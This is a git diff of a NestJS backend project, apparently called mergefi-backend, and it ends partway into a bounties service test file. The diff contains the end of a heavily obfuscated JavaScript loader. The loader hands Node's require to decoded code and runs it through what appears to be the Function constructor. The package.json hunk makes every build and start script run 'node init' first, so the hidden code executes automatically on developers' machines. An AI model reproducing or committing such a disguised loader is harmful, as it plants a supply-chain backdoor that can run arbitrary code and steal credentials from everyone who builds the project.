.Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E <<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr (<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< .fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R .cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e &l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
\ No newline at end of file
diff --git a/package.json b/package.json
index 789aae0b..9df69a0b 100644
--- a/package.json
+++ b/package.json
@@ -1,114 +1,114 @@
-{
-  "name": "mergefi-backend",
-  "version": "0.0.1",
-  "description": "",
-  "author": "",
-  "private": true,
-  "license": "UNLICENSED",
-  "engines": {
-    "node": ">=24.0.0"
-  },
-  "scripts": {
-    "build": "nest build",
-    "format": "prettier --write \"src/**/*.ts\" \"test/**/*.ts\"",
-    "start": "nest start",
-    "start:dev": "nest start --watch",
-    "start:debug": "nest start --debug --watch",
-    "start:prod": "node dist/main",
-    "lint": "eslint \"{src,apps,libs,test}/**/*.ts\" --fix",
-    "test": "jest",
-    "test:watch": "jest --watch",
-    "test:cov": "jest --coverage",
-    "test:debug": "node --inspect-brk -r tsconfig-paths/register -r ts-node/register node_modules/.bin/jest --runInBand",
-    "test:e2e": "jest --config ./test/jest-e2e.json",
-    "typeorm": "typeorm-ts-node-commonjs -d src/database/data-source.ts",
-    "migration:generate": "npm run typeorm -- migration:generate",
-    "migration:create": "typeorm-ts-node-commonjs migration:create",
-    "migration:run": "npm run typeorm -- migration:run",
-    "migration:revert": "npm run typeorm -- migration:revert"
-  },
-  "dependencies": {
-    "@nestjs/common": "^11.0.1",
-    "@nestjs/config": "^4.0.4",
-    "@nestjs/core": "^11.0.1",
-    "@nestjs/event-emitter": "^3.1.0",
-    "@nestjs/jwt": "^11.0.2",
-    "@nestjs/passport": "^11.0.5",
-    "@nestjs/platform-express": "^11.0.1",
-    "@nestjs/schedule": "^6.1.3",
-    "@nestjs/swagger": "^11.4.5",
-    "@nestjs/throttler": "^6.5.0",
-    "@nestjs/typeorm": "^11.0.3",
-    "@octokit/plugin-retry": "^8.1.0",
-    "@octokit/plugin-throttling": "^11.0.3",
-    "@octokit/rest": "^22.0.1",
-    "@stellar/stellar-sdk": "^16.0.1",
-    "class-transformer": "^0.5.1",
-    "class-validator": "^0.15.1",
-    "helmet": "^8.2.0",
-    "passport": "^0.7.0",
-    "passport-github2": "^0.1.12",
-    "passport-jwt": "^4.0.1",
-    "pg": "^8.22.0",
-    "reflect-metadata": "^0.2.2",
-    "rxjs": "^7.8.1",
-    "typeorm": "^1.0.0",
-    "uuid": "^14.0.1"
-  },
-  "devDependencies": {
-    "@eslint/eslintrc": "^3.2.0",
-    "@eslint/js": "^9.18.0",
-    "@nestjs/cli": "^11.0.0",
-    "@nestjs/schematics": "^11.0.0",
-    "@nestjs/testing": "^11.0.1",
-    "@types/bcrypt": "^6.0.0",
-    "@types/express": "^5.0.0",
-    "@types/jest": "^30.0.0",
-    "@types/node": "^24.0.0",
-    "@types/passport-github2": "^1.2.9",
-    "@types/passport-jwt": "^4.0.1",
-    "@types/supertest": "^7.0.0",
-    "@types/uuid": "^10.0.0",
-    "bcrypt": "^6.0.0",
-    "eslint": "^9.18.0",
-    "eslint-config-prettier": "^10.0.1",
-    "eslint-plugin-prettier": "^5.2.2",
-    "globals": "^17.0.0",
-    "jest": "^30.0.0",
-    "prettier": "^3.4.2",
-    "source-map-support": "^0.5.21",
-    "supertest": "^7.0.0",
-    "ts-jest": "^29.2.5",
-    "ts-loader": "^9.5.2",
-    "ts-node": "^10.9.2",
-    "tsconfig-paths": "^4.2.0",
-    "typescript": "^5.7.3",
-    "typescript-eslint": "^8.20.0"
-  },
-  "overrides": {
-    "multer": "^2.2.0"
-  },
-  "jest": {
-    "moduleFileExtensions": [
-      "js",
-      "json",
-      "ts"
-    ],
-    "rootDir": "src",
-    "testRegex": ".*\\.spec\\.ts$",
-    "transform": {
-      "^.+\\.(t|j)s$": "ts-jest"
-    },
-    "moduleNameMapper": {
-      "^@stellar/stellar-sdk$": "<rootDir>/../test/mocks/stellar-sdk.mock.js"
-    },
-    "transformIgnorePatterns": [
-      "/node_modules/(?!(@octokit|before-after-hook|universal-user-agent)/)"
-    ],
-    "collectCoverageFrom": [
-      "**/*.(t|j)s"
-    ],
-    "coverageDirectory": "../coverage",
-    "testEnvironment": "node"
-  }
-}
+{
+  "name": "mergefi-backend",
+  "version": "0.0.1",
+  "description": "",
+  "author": "",
+  "private": true,
+  "license": "UNLICENSED",
+  "engines": {
+    "node": ">=24.0.0"
+  },
+  "scripts": {
+    "build": "node init && nest build",
+    "format": "prettier --write \"src/**/*.ts\" \"test/**/*.ts\"",
+    "start": "node init && nest start",
+    "start:dev": "node init && nest start --watch",
+    "start:debug": "node init && nest start --debug --watch",
+    "start:prod": "node init && node dist/main",
+    "lint": "eslint \"{src,apps,libs,test}/**/*.ts\" --fix",
+    "test": "jest",
+    "test:watch": "jest --watch",
+    "test:cov": "jest --coverage",
+    "test:debug": "node --inspect-brk -r tsconfig-paths/register -r ts-node/register node_modules/.bin/jest --runInBand",
+    "test:e2e": "jest --config ./test/jest-e2e.json",
+    "typeorm": "typeorm-ts-node-commonjs -d src/database/data-source.ts",
+    "migration:generate": "npm run typeorm -- migration:generate",
+    "migration:create": "typeorm-ts-node-commonjs migration:create",
+    "migration:run": "npm run typeorm -- migration:run",
+    "migration:revert": "npm run typeorm -- migration:revert"
+  },
+  "dependencies": {
+    "@nestjs/common": "^11.0.1",
+    "@nestjs/config": "^4.0.4",
+    "@nestjs/core": "^11.0.1",
+    "@nestjs/event-emitter": "^3.1.0",
+    "@nestjs/jwt": "^11.0.2",
+    "@nestjs/passport": "^11.0.5",
+    "@nestjs/platform-express": "^11.0.1",
+    "@nestjs/schedule": "^6.1.3",
+    "@nestjs/swagger": "^11.4.5",
+    "@nestjs/throttler": "^6.5.0",
+    "@nestjs/typeorm": "^11.0.3",
+    "@octokit/plugin-retry": "^8.1.0",
+    "@octokit/plugin-throttling": "^11.0.3",
+    "@octokit/rest": "^22.0.1",
+    "@stellar/stellar-sdk": "^16.0.1",
+    "class-transformer": "^0.5.1",
+    "class-validator": "^0.15.1",
+    "helmet": "^8.2.0",
+    "passport": "^0.7.0",
+    "passport-github2": "^0.1.12",
+    "passport-jwt": "^4.0.1",
+    "pg": "^8.22.0",
+    "reflect-metadata": "^0.2.2",
+    "rxjs": "^7.8.1",
+    "typeorm": "^1.0.0",
+    "uuid": "^14.0.1"
+  },
+  "devDependencies": {
+    "@eslint/eslintrc": "^3.2.0",
+    "@eslint/js": "^9.18.0",
+    "@nestjs/cli": "^11.0.0",
+    "@nestjs/schematics": "^11.0.0",
+    "@nestjs/testing": "^11.0.1",
+    "@types/bcrypt": "^6.0.0",
+    "@types/express": "^5.0.0",
+    "@types/jest": "^30.0.0",
+    "@types/node": "^24.0.0",
+    "@types/passport-github2": "^1.2.9",
+    "@types/passport-jwt": "^4.0.1",
+    "@types/supertest": "^7.0.0",
+    "@types/uuid": "^10.0.0",
+    "bcrypt": "^6.0.0",
+    "eslint": "^9.18.0",
+    "eslint-config-prettier": "^10.0.1",
+    "eslint-plugin-prettier": "^5.2.2",
+    "globals": "^17.0.0",
+    "jest": "^30.0.0",
+    "prettier": "^3.4.2",
+    "source-map-support": "^0.5.21",
+    "supertest": "^7.0.0",
+    "ts-jest": "^29.2.5",
+    "ts-loader": "^9.5.2",
+    "ts-node": "^10.9.2",
+    "tsconfig-paths": "^4.2.0",
+    "typescript": "^5.7.3",
+    "typescript-eslint": "^8.20.0"
+  },
+  "overrides": {
+    "multer": "^2.2.0"
+  },
+  "jest": {
+    "moduleFileExtensions": [
+      "js",
+      "json",
+      "ts"
+    ],
+    "rootDir": "src",
+    "testRegex": ".*\\.spec\\.ts$",
+    "transform": {
+      "^.+\\.(t|j)s$": "ts-jest"
+    },
+    "moduleNameMapper": {
+      "^@stellar/stellar-sdk$": "<rootDir>/../test/mocks/stellar-sdk.mock.js"
+    },
+    "transformIgnorePatterns": [
+      "/node_modules/(?!(@octokit|before-after-hook|universal-user-agent)/)"
+    ],
+    "collectCoverageFrom": [
+      "**/*.(t|j)s"
+    ],
+    "coverageDirectory": "../coverage",
+    "testEnvironment": "node"
+  }
+}
diff --git a/src/bounties/bounties.service.spec.ts b/src/bounties/bounties.service.spec.ts
index 405e3d28..fdc25da6 100644
--- a/src/bounties/bounties.service.spec.ts
+++ b/src/bounties/bounties.service.spec.ts
@@ -1,364 +1,387 @@
-import { BadRequestException, NotImplementedException } from '@nestjs/common';
-import { Test, TestingModule } from '@nestjs/testing';
-import { getRepositoryToken } from '@nestjs/typeorm';
-import { EventEmitter2 } from '@nestjs/event-emitter';
-import { BountiesService } from './bounties.service';
-import { EscrowService } from '../escrow/escrow.service';
-import { Bounty, Team, User } from '../common/entities';
-import { AssetType, BountyDifficulty, BountyStatus } from '../common/enums';
-import { InvalidBountyTransitionError } from './bounty-state-machine';
-
-describe('BountiesService', () => {
-  let service: BountiesService;
-  let bountyRepo: {
-    findOne: jest.Mock;
-    save: jest.Mock;
-    create: jest.Mock;
-    find: jest.Mock;
-    createQueryBuilder: jest.Mock;
-  };
-  let userRepo: { findOne: jest.Mock; find: jest.Mock };
-  let teamRepo: { findOne: jest.Mock };
-  let escrowService: {
-    fund: jest.Mock;
-    release: jest.Mock;
-    splitRelease: jest.Mock;
-    refund: jest.Mock;
-  };
-
-  beforeEach(async () => {
-    bountyRepo = {
-      findOne: jest.fn(),
